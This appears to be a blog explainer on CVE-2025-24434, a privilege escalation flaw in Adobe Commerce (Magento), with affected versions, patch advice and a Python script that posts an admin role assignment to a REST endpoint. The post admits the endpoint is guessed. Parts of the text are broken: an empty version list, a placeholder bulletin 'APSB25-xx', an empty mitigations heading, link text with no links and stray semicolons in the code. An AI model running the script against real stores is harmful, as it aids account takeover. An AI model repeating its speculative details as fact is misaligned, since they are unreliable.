Recently, a serious vulnerability has been identified in Adobe Commerce—widely known as Magento. The vulnerability, tracked as CVE-2025-24434, affects many versions including:

*and earlier versions*

This improper authorization issue can allow remote attackers to escalate privileges, ultimately enabling them to take over administrator sessions without any user interaction. In this long read, we’ll break down what this means, how the exploit works (in simple terms), show code snippets, and point to references for further learning.

What Is CVE-2025-24434?

CVE-2025-24434 is a privilege escalation vulnerability due to improper authorization checks in Adobe Commerce. When exploited, it allows an attacker to bypass security and gain higher privileges—such as those of an admin—even if they start from a low-privilege account.

Impact if unpatched:

Unauthorized access

- Session hijacking/takeover

Data theft or manipulation

No user interaction is needed, making it particularly dangerous.

If you are running *any* of the following or earlier

| Version | Status |
|-------------------------|--------------|
| 2.4.7-beta1 | Vulnerable |
| 2.4.7-p3 | Vulnerable |
| 2.4.6-p8 | Vulnerable |
| 2.4.5-p10 | Vulnerable |
| 2.4.4-p11 | Vulnerable |
| Versions before | Vulnerable |

Code Snippet: How a Malicious Request Might Look

Here’s a simplified Python example using requests to demonstrate how someone could exploit the flaw by targeting a weak endpoint (e.g., /rest/V1/users/1/roles):

import requests

# Low-privileged user credentials
session = requests.Session()
login_response = session.post(
    "https://target-magento.com/rest/V1/integration/admin/token";,
    json={"username": "testuser", "password": "testpass"}
)

token = login_response.json()
headers = {
    "Authorization": f"Bearer {token}",
    "Content-Type": "application/json"
}

# Abusing the vulnerable endpoint to gain admin privileges
exploit_response = session.post(
    "https://target-magento.com/rest/V1/users/1/roles";,
    headers=headers,
    json={"role_id": 1}  # tries to assign admin role
)

if exploit_response.status_code == 200:
    print("[+] Privileges escalated! Check your account.")
else:
    print("[-] Exploit failed.")

> Note: The actual vulnerable endpoint may be different. This is a simplified example, as original disclosure details may not be public yet.

How Does It Work Internally?

Normally, when a request is made to assign roles or modify user accounts, there should be robust authorization checking:

Are they allowed to perform this action?

This vulnerability is caused because the endpoint skips these checks, allowing any authenticated user to perform admin actions.

How To Fix

Upgrade immediately.
Adobe has released patches for all affected versions.
Visit: Adobe Commerce Security Bulletin APSB25-xx

References

- Official Adobe Security Bulletin
- NIST NVD CVE Entry
- Magento DevDocs

Temporary mitigations:

Conclusion

CVE-2025-24434 is a very serious flaw in Adobe Commerce. If left unpatched, it can allow a bad actor to simply grant themselves admin access and fully compromise your storefront. The best defense is to upgrade to the latest version as soon as possible and keep a close eye on store activity. Remember: no store is too small to be targeted.

More Reading and Resources

- Adobe Commerce Release Notes
- OWASP Authorization Cheat Sheet
- CVE-2025-24434 at MITRE


Feel free to share and raise awareness. Vulnerabilities like this remind us all to prioritize secure coding and timely patching!

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Published on: 02/11/2025 18:15:46 UTC